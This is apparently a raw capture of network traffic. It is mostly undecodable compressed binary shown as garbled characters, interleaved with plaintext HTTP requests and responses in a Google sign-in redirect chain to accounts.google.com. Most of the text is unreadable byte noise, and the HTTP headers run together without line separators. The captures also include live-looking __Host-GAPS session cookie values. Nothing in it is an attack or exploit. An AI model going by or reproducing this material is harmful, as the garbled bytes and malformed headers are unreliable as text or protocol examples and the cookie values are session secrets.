CK��r�|��쨲8y|��=u�]�?��v�l.Sϑ��k�B)җx�D�}��L��WI5,^��*f��l~2�4�l�4��bf'1ULe��0O��H�{�K��G�/䋙/�mX��kJ��tj��b:'�~�T*�/dJكŒ�L.�CE��O�=;"s<�%{knR\b��b��L��=��V��秣�P4�K��lI�_�Ŀn��J*��Է.��I�?�+�mUz��/�_��a��:�x�g�0�-�e;��R�}~]��ލ\��Ơ><��z.ť��.W�r�5��w�~;��V�ޭ��A��Zݦ�*��V�>ʭ�5��7��k��?�5Z�z�hsP�C�`��~_.��f�^��P��o�r��z��ԇ�7��z��H��G�v��?��\)�^��T�r�>��˕^o8��j��u�ݑ\n��\��A�v�R\B��s%[]fo`�Ym�--n��%`�h�7͹�`e).�j�S:i�J��b4-�45��ҫ�z;��A��sjZj�e��a�@u��R��@[;6@�YU�$e׫�Zޕ��F��Q�3��<��z@n�۫��ӹb��I��P�tFp��66oZ��/2".p��(y�k*��L�]ОR�ІS�9d��c�%�ͤ��q�n�", "��D�td14�N��UyP��Iypߦ��B3s�3�Y=�P��E%y{��x<~��Z.}>F�Ɗ�T!àK��_^�\�3D̤05��^Pa��i*_*��b.[ȧ�o��mg"�TXĶ�1�ʼ�s�l�_��&sl:}�W�d�$��FV��a.�K:C��;�̩ض=�\��u��I�bufQ�� Le��cf۹r1[��+l� ��N��%��1��K<��pcC�pM�x��"��ٴ��2�M��U��i�C�5�\��#�U�N�$�.��8�y��>��0.��x.��⧮�eNםK��4!��d�N͵B��u�Ӽ��kk�`+��Z��:T�[��W�i:�N�%�N9�ee�a��A�3Mt9F��3d��)��ײ��H3�dzmM��3��᰽�ߠ�bcjN5��}�u��N�J�:�JqI�L�}j��h�K<�<��P��c�\8��T��3�#��Y��Y~�|2[�I�b�*٭��0��+Tx.�-�s�`gs\$x�EVؐ�z��#ƔŰ��]�K�s��a��E\�h�0y�K��bV\�I��!��K-^V�|�7��L��0�Jf#óJ�s�$�zgx�ĳ%�L��usA5A�y=�|�:0�=��lN0�=�^R6��tb��04�S^�x��r��gj��|��B��m�vZ&mi��w�ŭ�S��`$�=�J�K��`��:, �<{�׭�wۥ�R��(W�^�R�kL��m�r�۾�k�hv��M�2� ��M�&��a��v[nr�n ��K[q#�x��\>]L%��\̲(�j�N��%�.p!��͝��7p�?%��Ú��S��;��5d�Ć��2�b&W�K�A�H��i�{d�r�lM��*Xz�l"�tJ�"�*��Z�Q�n�$�|p�lc[�R�|�t9I�$ON�' u��RA��Lc�I��o�eD:��d��}n�h�;�o��[��v��`��XFPP[f��T��&��ՀY�*�|$��Dl�5ٵ|-1��t)��r�\��{��s&O)4�Ug�I�IqI1d��|��tnψ%3MV0�M��B:Mƥ�bЙ->=��.�^��d��6�}a��o�8�m b��H��H��\�/��0.-�%�J��I*sRH�d� �)��#�v(#$��f۩�)lJƥ�fs�\f��)��P�F��)q��d`u�e5\��h�T�˥��!&eAf2H�:[�j�R`7kxAT앺6a��VlN��'��]� 9�� >��<�7��ψ��n6� ��sb��3:'6��Y��0��i��X#��K��RF��m0$d�+�`�", "��tjc"��61�mC�]�%�D��dafS��bL��D�k��p�&��N��xR'R��S^^��H��|C��m��릃�ň��"�P��~N`!5��i�;�@}1g=�l��(.��NC(��=�i�E[��е5aH�Y�sՉ�e��2lx��Zb��.^6� h��7�~�6�e�ٲ�g�� s��s̗y+��ƾ�4E6(V��e��v�="P��N�sܲ��`�6�L�9�PmȲZ��u�8��l�ȀUH\��2��i��]�t*��mc�K��G�:�Ki��P�sC9h�l/J��]��jT�M��Ef0�K��f_S�hE��51)C��M�$_�0�j�tR�ǰҪ�IT�4u��ǩ��@�GC��_�l��@O��1 ��a��L��du�opb�e�Iķ��-a�MU�`'I��-'�s�Hcm��0o0�e�F��6�+ss�{p�Qg�!�N��.��=[{)� �N�U�_t�<��JO��yb!әbj�pGB��=��}��l��N� �P9H5ȓ��'`Tsrl�m/qF��@�HC�Iv��8X��Blv�\��:Q��-�@��0`�Q\�`/�.��IBOLΞL��+U/��\��C��R]��y�S�~[��Hz�gIO��)��P��7�w��;�&��H5�� m4=�"��'|m�$�]�a��L9A_Gla��yAu��w�w�>Q�L��4��CG�Ը�m�%��.�p�4'�&��O��)�D��AkÂ�TzH@�C"�i�W}H��,qE[!�>�@=m�n��E��Pn�82�a4��s�w�{�3"KIn�L�CH2t�954pym&6��#�y��_7��T�s3��3jq<�ڮ¬dN��{��N��|y��L+��3��C�Ѽ��V��x�`��9��3�[Ɂ�'��[r�u1b��]O%�Y�nu��K�(�hPJMQh*2��74�!!Wҩ��ד�_��`��IqȨog��%�8�A�A�7�L�>��O��O�W�L�#�K��4L��_��bڇ��U��oŏ/��H��yޭ؏.-��.E6�Z׬wk�#��>!`̴=/��/�B!�EW7(��92�VF��|�|�R��%f�L�c7(M�k#S�#U�<@��jn_��e�܉g12Gl�dԵ��T�Pg#�|�bN�k��s[ Z%��X��ٽ�&�9&�{�k�%^�q��ǌV��'��1w��/�TJ�=��%#�I2�i�ﷄiQ�? S��~?cFnhI��"", "::R¢Q�j9�*��'`��e�2�g��B]�!a1�@��d��PU��W��L��9t21�Cb�p��k��Wrl�@,�d�%&.f;�g��yH�U��hD�n��v�P�M�ǣ-kt"3lS��~Hx)��`[F��(�N�j*u��N�_C[V�\�Ú��zeי�d��Zm2�;�^�d��6��f��{�`�2!t\�� *�w ��V�C"�وt�a�ȗ��5��-�I�6�CB��I��W�ф�/�&�C��3l58�ܟ�"�f�'�[�t��Hº%�s|��sYEs��i�O��`;�!�.܌�k>^��c��#Ť!7@�9�qMC@ڽ�9Ut&�;u(��I';�J��\9ё�q@1��T�,��lOK5H��5�I��*�5WW��*��N��k�M$ȠS$sɔ��Z66��ĳ�=$l�;��J�Ἓi��2�X�[��9q��w�k�[�j�+L�̶��r'N��ُ 9K��wn��4�0g��<ņI�j?��R�c2�q�]�jo>u0��d��t��a8��`>�e��|QPܐM�4o��;9�s��'C��"��ZŠ��s�vkZ.Sa�f7Ã��N��wg�M��hzP`'ǎt��/��d�G��N��1�!a��N�bx��LI��_#��m��R�6Fc�KF�<>SGG�CBy�~+�� EA�á�p��a}a;�r6��Jg��yv��z5DvD(�ɑo��$�a&ߣ�t�ޞ˽��K��YJ5��K��*s��Y6Ka��M�CU�0�F&��D�j�l�wG�A��p��@3C��mu��>][�Z�2X��6�yw�z�K��f|��#��b��\ӌ�z�}�m��{��E�;^U䮈A[��\�"v��x�m�s�9o}��esCq�F�f��/i��ør9�,��X;D��iq�}/6��o�TV��zF��79\/W�EsZe�c�s��ck}{C��~t��b'��ʱʍkں�?�u�*��cs��蚎JI�Y��?��IY��w�׆=:6k�vGyl͵�A�4wo*�{�<>�,�J�.8��*]1��\�2��Ցa(pe�N��xQTq��.�䐅��M��Qְ�ֲ�d^!X�͒#��*�ԁ�}��nzN�k¨Ƥ`Ǘ�A��xP 4p??�V��p8�/i`غZ��~�a�UG�Jed�s��+y�6��.��*;M��yp9n�q�e��Ήð��?�CEe��|6��d>_��U�Nu��", ";�{��4�1��f+kH)�K%yc��S�O۩�/�Ɍ�$��\m $��"o-?��{�l�e��;��|6��,�f�U˗�N�AT*��h\�{��;hR�d&�/��S�y7wV��J��}��l)�}��y�mz/a3��ᯒ�L��;��^~3:a|?>��#��C`.��M�g��~�%"`��|��?�d݄��%��+��4d��Q��S��)��t�H��Ul�S+;��ʨaH��)�g]��%y)09��D��F�S۱��¬��x�fx�A �i�$�#�`�J�$�^}��J&�к�d2߁J1��<�]�k�_�%Y�wJ��7o��Q��|�t4�+��GU�rsd�Ȑag��^v0��M0��F��G5Ű��f��p��jH�|;��|4�Μ��%�Δ2_x��v1��<��̋��<�S;�?�}=�;��`��_�M0��P/�̕Ço�L��x1�5qՓ6��ⴁkr�$o�[8�Q�W�K�&}��a�/_��q�QB܇H�� 9S"FL.��2�]��dL.��u*v�ꃈ=X�Nl�lq&&ϔ��O�PL�Ռ�6��t#8��?I��(�J��~��]_�v&��k�"�#{k��GV��V<��L}<��)D�j7f��L&��fl��j��#6!p�uK[+8�M>�l[��1�6b�R�>�h̵q̙b�L�NL� �1��c��ȿ��t*�I%s�\��%��`O-��@�O~N�Nhd��@L��sY"��X�x[�.2�h�YA$�6;e�%t��^�hS��n.&g��z+�TX@�D$Ʌ��p\�J�D��c�n�{1�b�ؾF&dG��tLN-SN~cr.��آr5sEKa�c&ղ��0�S19��mD�gq+Ok�V�C��T�^X��9�E�}�8)a��ݙ�]A#��έ��5�~�`KzW��[?��9v�.�Y3FM��9��L��ɔh�(n�C�cd��LJJ9)�j�w�G��C1l-��=%�Q��&`��M�ߢ�z��6b��#?R�{nf�L�A�<Ⲭ�"��19��G8�7�S��H�ɹK�"ߩ��l��H��", "s��]�gRR��^Sjh��Iu(�,fM��c"t&�U�?_��^��~�Q�1�8;6�Wؼq�<��I��\�/��-��2�{8V2-��s��_��`�`Q�U�'8I�2'��).rɰ�g�'�s`��o$(��m3�d�h7I�e�N��m�@[�[vO8��쀴��:N��Б��TL��s){�!�u^+��$��E�7~N�z�晘�!�r��e&�D�$��|�� f��E|��j�.��>7(�P'��l��sۦO��E�3e�3��f��e~*��0?��|�&��u��g|��moF>�g�>WF7��f�"/��i3<��:2ߦ��|h"@k��c0��6D��6x�`�6M��R�/�m��H�U��5�n�ׁ܇�#X|�׾��(�"��g��%��7v��pL.R�_ÉIf��[܄��-�d=��?��%mb;11��|�SƓ�E@$K�19;#19<�?��x�M��F@��e�� 4��zx�s� <�g��^d#��-��c��VF�%f5w�|��'�:?�#��!�->�Nl�S<�A�ö�.��FR��K��Y�B@�,&e~v�觘w6��LZ�$�T�\�-��B;��O:;��o�'�ɍ��K��z�O�*Nc��"v��C�{��o��\�s�t��s�W97$งS��N��'��O��/��~��;F��!&��"z�t��WXfH!��?��?��#m�s��̲��f��6fe_eV�2ǝ�\�*=�H��%�ÿ�y�M�=�#�1q~�Gn��]:�ƾܫ�k9� Ȕ>{?��iF�g��ͨ|�1ۥ�m|ʿʧK�0��_�/?�'k�7��Z�|ڥ�m|*�ʧ&fs�S��N�KSrL~�)rJ��[��]:�ƥ�\:'�F��?��w��?��!~=��G�7��#�/�o��.o�W�U~] �!!}��_�O��9u�ːK�;��jq�H��Ϥ J�\M\4��_��?d�H7��n��h68'��l��2��=�W��4��d��ܿ}��p��H|I�F�h��4x�vWt�)14�L�O�l�l��" .9�+�sg]Bns&�u�]!��9�}G�$"��Č][1��`#M��n��?��E��W�X��c|LЪp�"F]'��~�<�8��Cw�獼��|w܁�>�M��kYc�a*}��LpW��`CQ8��5F�H��<��IsȠ��ĉ��_�!0��#ms��넥�_¯��[�7y�" "��u�]�>l��T��mT�mw��\�g/l~��CM��12��o#4�&�u��$P�q��!�g�Q�ɩzy^p׹g�b�Q��w�6�`Z�LFJ��Mӗ,�i�+��!ϵ�e�M���Y�aO��;��c�.�-Y��Hw��*��,��Y�Ni�Ng�SWi�t=[��_�ޏ��U�Q�m��^��ᔘIL�S�a�\S��\ϩ�;��9�A�t�p(��$�̌��K�S�vclr�{�~�R��E�t��6��p;�͊s�iL.�T'Z��s��j�ה=��'�!K:O7�Rol��Ƹ-ܙ�Q��m�Egx�U�puݐ��jt��j��ڥ�Ij1��#A��ҫ��55��YD�Ԩ�-)s��a��za�W*�9!N�P��Q��R�}�s6�k��O|��!�xH��mJ��M��Ŏ�6��W��#1Fc!�=<�*�q"}~5�j��1�M"|��'>W�rf�c*5�҉�0(��TRM��D��9�4�c�w��h"�K�QC�k�Aߞ��o2o�9��b_.@\_Y�]�ϯ|��N��^�I��#��V:��|�\8��^Ȝx�K'�{�J��[e��l�x'��v��+ğ�Y�A�&��D;�&��l!�-��y�i��7t��x2��KN��Gв��`�mt��ч�Wh�޷*/��a��wǶ��2��w��؀�a��lg��Q��˻��>��55��f��5�H��(��plHGKl�9Ĺ�L�BU�L�)��m4{��"vƾ��ml��,�N��c�l�F��T��-e2�t:U�Ki��.�S�ǡ�T^Ѵ"�%m ��R0/�� -E��%�~�S��U=�>� q��{x�8��s��V8��~�h>SH's�t�X(��N�ڂ�q�L�p�u�ywڱ.u7��&$Ғ|�p�pㆌ<��/�#4�>��ŰF1¥�W�Ͽ��7�"G��g��7C�J�O�x١�<Ǧ�I$��/��r�+��wvf�#�Rk��^��&��b�d:�/��܍��oB#�:1��9>��,s�>�I1�+ȣ�+��B��S�G��v�Ⱦ�^��l��O4�t�?��?��u�!�Z��5�=�U��B#�}��ͦE�ynk��R)_��2��g��", "180c�7�d�+_�*S,�V�l� ��F�"��ߋ��㮖��e΋�p/3�d�o��7)^4��˯��{jϟ�J�~��JuQp��w��X�8��Z��5}}�e��^�>��]��ʝJo˪��r��r��2=F�p7��X�7��"��It��k��T-YO�M�Cbw�<$*Wf��_y3D�jv��G�nrܬl�ύ�~5:�73�ԡ�i�w��p�C|��6jד��!��Z��<}�K�{N��Ra]�T�m��2��ߋ[L2ϭ\�1��!ܷ��Vߍ�:9�ET��z]��!:2��C��=�!�!�~�L蔟3d�tZ냝?��Ց�͖��n��\�AjD�!܃�2Ū��q[�ܹ~{#��!�kֿ�#��r1�y�?$��q��|�5��X�5��G�.[zH��U=�޷��ڜ�gw�[,5�Ņ3��*��7��CD^Lv5��I�j4t�N�v�!b�帧�\�]<7�ׇp��Ņ��~7n�_�A��_��)�^]�n�wO��CtL4mP��%�i��y*;��WS��5xW��0�A:��A�t��ʴIfy��m>��~:,��c��~�I�.��Ct��ВY��UZ�ufQ:87�/nf�^tn�q��7��Uv틵��J�>�4Y�M��A.u��MZ<��N�B=f��}�]\T��G2�;_��C��n�d�U��冎�>.�sS��[u��Lj�#��c뺛<7�3� .�O#<��p��C"w}�4�`~{�;�[��;�7IW��(��-#�� =\��#X]f�.�d��ᶞ��C@b=d+��8s~�o�70�Ʒ��r䫧E�.�Շ�!�֣Q�p��{q8��δ{w}}��b�׋��q�w�F�~y8LZl�T��C��={�^:�7鸱��r3� �i�rX�=��na��m�ץ�t�\�|��<��W�EG}�:�Q:ƹ^%>1�m��!Q��W�&�!��)[y��_��V��h��&��s�bvxB|��1��1�M�1��ew`L��}��:��&��xQQ��A2�A�6��IYإfj��L.��5�j�}�YD�u$��]�J׍�d�w~��M3��;Y�C�", "b�Cbtsݼϥ'�r�e6k՝ـoS�[ĈĠpN�b�NњW��SV��f�(�v,�[�M*��Eb�׃�X�N�{2'Q:�i-i\�ɧ�ލ�E�l��j~�̀��嚟��Q>��a�-;��o]��)��W�Ct��Z)�~��Q�;^��"[�v��n��5mL��=�|��j>׬�7K�8��2��!��+��8��x�]��ū��-��U^�'3��r��]k��|�R��Η2�F��%��y8�{q�bS��\�o�]*9�F�C��ݬQ��Z� n4],��ِ��Ԋ��z��v��u��O��i<^�;r��dYy��U4lg>$��s�-r��C,��z�<(F�RT/;��\扵�{��MF��q�wxU(�㦜�l<�� ͟R��TǞ��R�l��fb��[�]#��irqP�Y��hS��d|Y�'K+rP��m�G:��Y@�9$�[��6��5��mp��U��-*�C�rI�͙��w|7;�%�#�wj��>Ȏ��U=�n�q2�~� �.[��ޛ,�a��l~�y,�p��NA�h�.�w��z%�E"!VԞH0�]��[��!��J�|��!��p&�ݧz�Q�mʇp�UZ��ُˁX�r��V�Y>��M�b2��țs�Ҝ�V��AL[x�G��c�^W{}�U�fUd��[�ƽ�yU�[&�j%N�C�u��l�W��ecJ��Һ1�F��M�e�^1:��B��>�Ye��Ż��Y��\�vx{pI�J�{�:��C��S+�k�Kq�QI5��84�O��7]f�gC)F��z�ZY�V"oƃ��<��G�^Q�Ɲ��ն��S�l윹�~\��g��B�l%ݘ��^�׍��>�o��1Lt~��.��W��mw�4��V�]ֺ1�YZk͆�՜�Ov\��g�:��5��_��58��K��iɚ̤��Bx� �K��`/��A�a�{��G��0X�K\R�9X�beha��b�M��hma��2�z?�8Ώ��xů�͏�=@_�x�F��9@��U^Bjj�N@D�^4~��ڿ�R��B��A��p"��cJnzhPF�0�/Ǉ}J��u��~��7蠆C�H�t�a��c��R�G��7U5�}U�'C��{��0~5�&��>�Kpj<��$��" "�|F��0��F,��H~J:B��e1�@|��~4j��n�ti=�}�v��apc_?�/��ťd�1�.A�>I�Z��^�ZKFvE%ʏ�c��"EEϏ#v��c((AHMtL��-a�I$�#��%��~��p9��7U�C��M��'.�-��N6��"twD��p�(ܻwR�}��c�߄�/��@�}��\��C/rT��ݭ��z>lw�Gǻ?r��!�Ȁ��0�?�}��w$��n}�oT>|W��烺8�N�庿c��pl��Q��kz��w~k��˶}<أ�Gh2�3l��FA�&CI��Q-�p#�W(�ۉ!��4tJ��P��(7gk��o��p��1u`��7A�"S��W�R�k��Ӝ��O�\̣l?��Tĸ��U��6�u@S}�~�]�{��Cd`��7775� b�b��Q��{��E��mO��{�۵|_��Z}��!\��56Dc�p�x��y{��t=��V�2Ʒ��B!ʹP�BSk��h�"�p0�MB��6��J�$��P��)��r��me��S�o�ho\�D��_|�z��z�w�J��+��W̑w��?}��(C�\�6��u��p.�߇��з��w:�Q]��)�W�+j��aۿ]&\/��w��rW��Z�ßm5��b8Z|out��3o8�)�P�"\'��P�H8A>�/��+�±�ij�ּ�hbv1�^��G_��O��';�J�:1��p1�=%�s�s]�Qzq��-�틲��Q��x�|3W�f�K�{�<.�'~��ZI��L*��d��n=�N%=92��Ș�Z\s$�G��Uha25n��M�쏻�zC��V�y<]*w��I�4�-2!�ɢ3BJ%�X�#�r�1��\]�]j��G��=U��g��m:>��m˙�y��5��z��[/L��u�_��ܮ6,=:��L��x��}]],�>�U�z�:_L�kF�]l��3��͟��5��K��U��֧�ٛ��O�s��˕�~�X�K�"��&��Xsw�|i��vI5��Sr��^RW1��Շ�LF��uB��m��?��K��FXȁv<�+z�9�Te�U��4��2#�-��XfؐM*SË��pErvK��e(�w}�jj�^6 �_��M3�̟��Qf��pG��t,?ھ؉�v��|+�ՊK��ѽ�L`"0;��ء\�X��y�Nʚx��T�b8{n�ǚW�JH;Ѩ��].�%h�16U��V˱ˌc�B�\��>��6^srl�m/i'��N�ɯ��!�2'H��N�ƍ$�1��:�X�s�(� �\�$��9U�", "�e�R�ǧ�x��K\�{��@�~�d~�rŢ�K�#��z<�%��\R��`��׊��[�Ŋ�$z&�8TV��N}��t<)�g�z��e��1R.%w`2��(WH*��/qxy�ЃgM_kDF~H��2xy��Yy��MэrٜV�(9�#��'OA'yÆ��w��e3��P�l�� 2��C~�Hn�҇�`�԰��Iqs�77��^�U��ڐ8B��Ms#7m�D�V�-�|�֯wޠQ��ʭ��-~�!�7�SptȰ��o`d�Jy\,"=#ſJdn�D�N�ԅ�}��8�u~��2�o]ܾ��{1Dz�$]�F�\��0�L�`��N#�`;Ch��&XJa�=��Gɗ��_%Y=�JA�%^+1Ϳ��[��рg��ʪ�k��<��*5mj��٠��T�;�:��ף��9b�1\�`��-��ڄQ`cǵj��ouTCް.��e��j{@�j��K<�/�d1��ec�F�؄��m@:�^�\;|)/!��&l�n��V��*�W��.��/�� ^�\��U�\��i�U��)�N��HS�l:�T4E˕R�d��%��BI�擊��鴒VR:*��|Q+�t:F��[�tZ �>��;��B�Z��Oe��LJ��ӵCA��o��-�=6�I�㳾x�4\Ba�`~a;�� j��VM:��&�U��N%O��Gf�!�Sb��=��=��9�<�[��/]�#��5$��O[�(��=p��>m��_�9ބ�elO��=�tGV��F"�#��0C5�=�MZ��8��>@\�5! �].�.ݹ+XL��z�Wi��2��,�V��nvy��?+�ַ�<�:p�j�uxG��r��'��Z�J��#��M��i�E!�j�:[S��3�>��⟼��ĤK��91'�-��j�`��W��Z��:�r�!::�`��姗�OG?ytʲB&}b��kԧ��jC�%b1�M��XJ��Xd�e��c��b��,Z��+!�1d�I�k��#�"��7��bi1�抿��^�q�/�_��E�?��;V��]�w�O"��ԩk��|��?G�?�̴V��e��>��g�u��k'�>�4�_�,��A/�Lx8�L*��1Zկ>�~ib�H",��]��=M��`�/��=i&��yB:v��߃52nR�~��ͦ��=�U�"�֕��L�l??O�')��M*��t�W��WI�L��=t�+~�U�מ�%��[F6U�B�to[*�\[თt��q�`�2[�vʌ��$��@�mQ��R�긹��NEH��$��{�Ɇ�=q��8", "Í�0�!��?��+��8�Nw�dM��O�qٰ��7��!�g2�C��O�g�ħ6�N�N�:�yA��+Ë��//P�}�=v�Bf�c��p�lc��g>�#�ܰ�#�ߐ�ׅ��Ha��I*�K�|.��\��-��Ʀ��", "79a�]�n�8�=�a�jI�'Yx1� �l��t@�c�#KYR�v&�/NQ�,����$.�T�(��ST�9��JS��m}v�®��.��GW�RU��dVun�VQ÷ܿ��?f��d]�\�d�[Po�"��Hѻ��z�']?eQ- ��rt0��iw�\W̊�y�Ԃ��)}99��y2��^_a��F�UR�LURu[�E�h��?h绚p�4a��&ܮηLUd��J�f�dc�b%7��3\*�PgkM��)?(/L��wR��S�4Zɕ��6J�Y;��X��p"�u�+��T�=R�PlZDmP��^�,P¬ֹ��}�Dp�lZ62�B"�0@e��XW;D*�u�4��"s6-��Y��ԡ��ea`�u6=C*�|s�^X?;��s��0�ʈ�7�3�Y�� Jct�h��8��L�S7�q2�3��T,�!t��{�e��A��o;h��Y��GI��}׍З��ߐ��zKQ�V��&q�c��|vx��.O~��sR��|2�K��+K��c^JϦ8�y��d�P��#AJ��u��B�M��`�R��B��M��*��w[��u�ԮDV�!�c�<�WU��~H��s��SQ�yo��Cc�w>]�T^�FQ��La]��׼j�u�kod[mNu�H��*V��x��A��9��Z��لT�XT��E]��U�pXM��x1Y�|t��N�Fa�c�!��d��db?�9��ސ�d0$�!�p�1V6��6��!wؐ��G��[2��^GzD�X�>�0'��!�C�&�.��=��(��@��n�Q'cvE��u�Cn҈��\�_�?fnR��_ΩR7�yn��<�g�ǖ�� üH}�L��\�N��x�؏�a2��E�v8ϥjt�ѷ�g;��H��&�H�[ز-"%�)��6v�Yx��Yz��a��¦�w�1o�-m�q��#�'�9�U" "m<1R ��Fכ�̖��z�. ΜQ{�*�I��1o5<|e�z4��N��>l��}�e;�v*awg{�}�.ʅ��V��o��Ͱ�zR�~Ǩ�}�,�u3Y��L.�R��}��Mt�H�\6xQԛrR$�D/��F|�&�z|�0?#�Lg��x!��j�)�jQ��̳q}Ң��L�E��-X�~��L?�MQk3��/��^�=��U%8�mt�k�o:�Gz$��c��[I�2�ɇ��<.�� ^��y�n5�ZcG��k��]��rw��4��n{�f��c.��C��y�?��h٬ʟ��#�Pߐ�0" "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US" "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Strict-Transport-Security: max-age=31536000; includeSubDomainsSet-Cookie: __Host-GAPS=1:R-NGwoBPezz88CD1Dw8CyurJGgCwWQ:CftYg3tyi0qteDne;Path=/;Expires=Sat, 18-Oct-2025 13:07:34 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYContent-Security-Policy: script-src 'nonce-S104S7-5YAl79T75IFs17A' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportLocation: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding: gzipDate: Thu, 19 Oct 2023 13:07:34 GMTExpires: Thu, 19 Oct 2023 13:07:34 GMTCache-Control: private, max-age=0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked" "0000000100000001�0000000100000001000000010000000100000001000000010000000100000001�00000001�00000001P00000001A00000001j001�de0��B!=ZN��u��X�K_E�1��ax%�u��~�7Q�8z�IN��#��_�o�d��)��2�Q|&��Ht@ΨfƑNZ��:eJ;�F�ĘTg�l�"��5{�i��f7Jk��6y|H�;��g��f�4��s%˳��À��x��fL�Y�ž�K��P�/��@�R", "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:R-NGwoBPezz88CD1Dw8CyurJGgCwWQ:CftYg3tyi0qteDneConnection: Keep-AliveAccept-Language: en-US", "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyykEBEd1Y-ozhd9ThRJsvTET9NzhMKze-q7iymBGSKeh8AMzIMezCBLugzPq8QYV8LVZMEvbg HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:B-D2pHGCymJRoQXxLH4p7O8pGsUWlw:yR1QN7UcqIri40GiConnection: Keep-AliveAccept-Language: en-US", "HTTP/1.1 302 FoundContent-Type: application/binarySet-Cookie: __Host-GAPS=1:B-D2pHGCymJRoQXxLH4p7O8pGsUWlw:yR1QN7UcqIri40Gi; Expires=Sat 18-Oct-2025 13:07:35 GMT; Path=/; Secure; HttpOnly; Priority=HIGHCache-Control: no-cache no-store max-age=0 must-revalidatePragma: no-cacheExpires: Mon 01 Jan 1990 00:00:00 GMTDate: Thu 19 Oct 2023 13:07:35 GMTLocation: https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyykEBEd1Y-ozhd9ThRJsvTET9NzhMKze-q7iymBGSKeh8AMzIMezCBLugzPq8QYV8LVZMEvbgStrict-Transport-Security: max-age=31536000; includeSubDomainsPermissions-Policy: ch-ua-arch=* ch-ua-bitness=* ch-ua-full-version=* ch-ua-full-version-list=* ch-ua-model=* ch-ua-wow64=* ch-ua-form-factor=* ch-ua-platform=* ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportContent-Security-Policy: script-src 'nonce-yP5h8w39r4TN41eMdtG4dg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Model Sec-CH-UA-WoW64 Sec-CH-UA-Form-Factor Sec-CH-UA-Platform Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: unsafe-noneCross-Origin-Resource-Policy: cross-originServer: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000", "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyzwCNbS6uPn3l0Ro4MfOp7EU67zqzVUCdxFEakeECFVim_3zNT9DoJoXq6k_Rp4GLcHT0sQUQ&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1526823171%3A1697720855630494&theme=glif HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:B-D2pHGCymJRoQXxLH4p7O8pGsUWlw:yR1QN7UcqIri40GiConnection: Keep-AliveAccept-Language: en-US", "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8X-Frame-Options: DENYCache-Control: no-cache no-store max-age=0 must-revalidatePragma: no-cacheExpires: Mon 01 Jan 1990 00:00:00 GMTDate: Thu 19 Oct 2023 13:07:35 GMTLocation: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyzwCNbS6uPn3l0Ro4MfOp7EU67zqzVUCdxFEakeECFVim_3zNT9DoJoXq6k_Rp4GLcHT0sQUQ&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1526823171%3A1697720855630494&theme=glifStrict-Transport-Security: max-age=31536000; includeSubDomainsCross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk"Content-Security-Policy: script-src 'nonce-XGfEbtmHBnQZl6r3FUoq1w' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportContent-Security-Policy: require-trusted-types-for 'script';report-uri /cspreportReport-To: {"group":"coop_gse_qebhlk" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]}Content-Encoding: gzipX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "0000000100000001�000000010017c�RMo�@��+�=ʗ��`�j�Ze��d� �e��wŦ'�l��3��:Ck�Rg�>��#�.H>� �H��8��ܽ�R�_�h5�bF��Zm4��l�e��C��7��t�Gj��B0>�Ғ�܂I��3��ajlT�Y��q��*-�NHHC�#WK\��)�7��,�@k�mIo�&=��&�k@☜��kMw�\��`��G*��t�*S��\OWg;��M�=�16��&��N�q�ɺS˛!�Xo׍n��AD~ 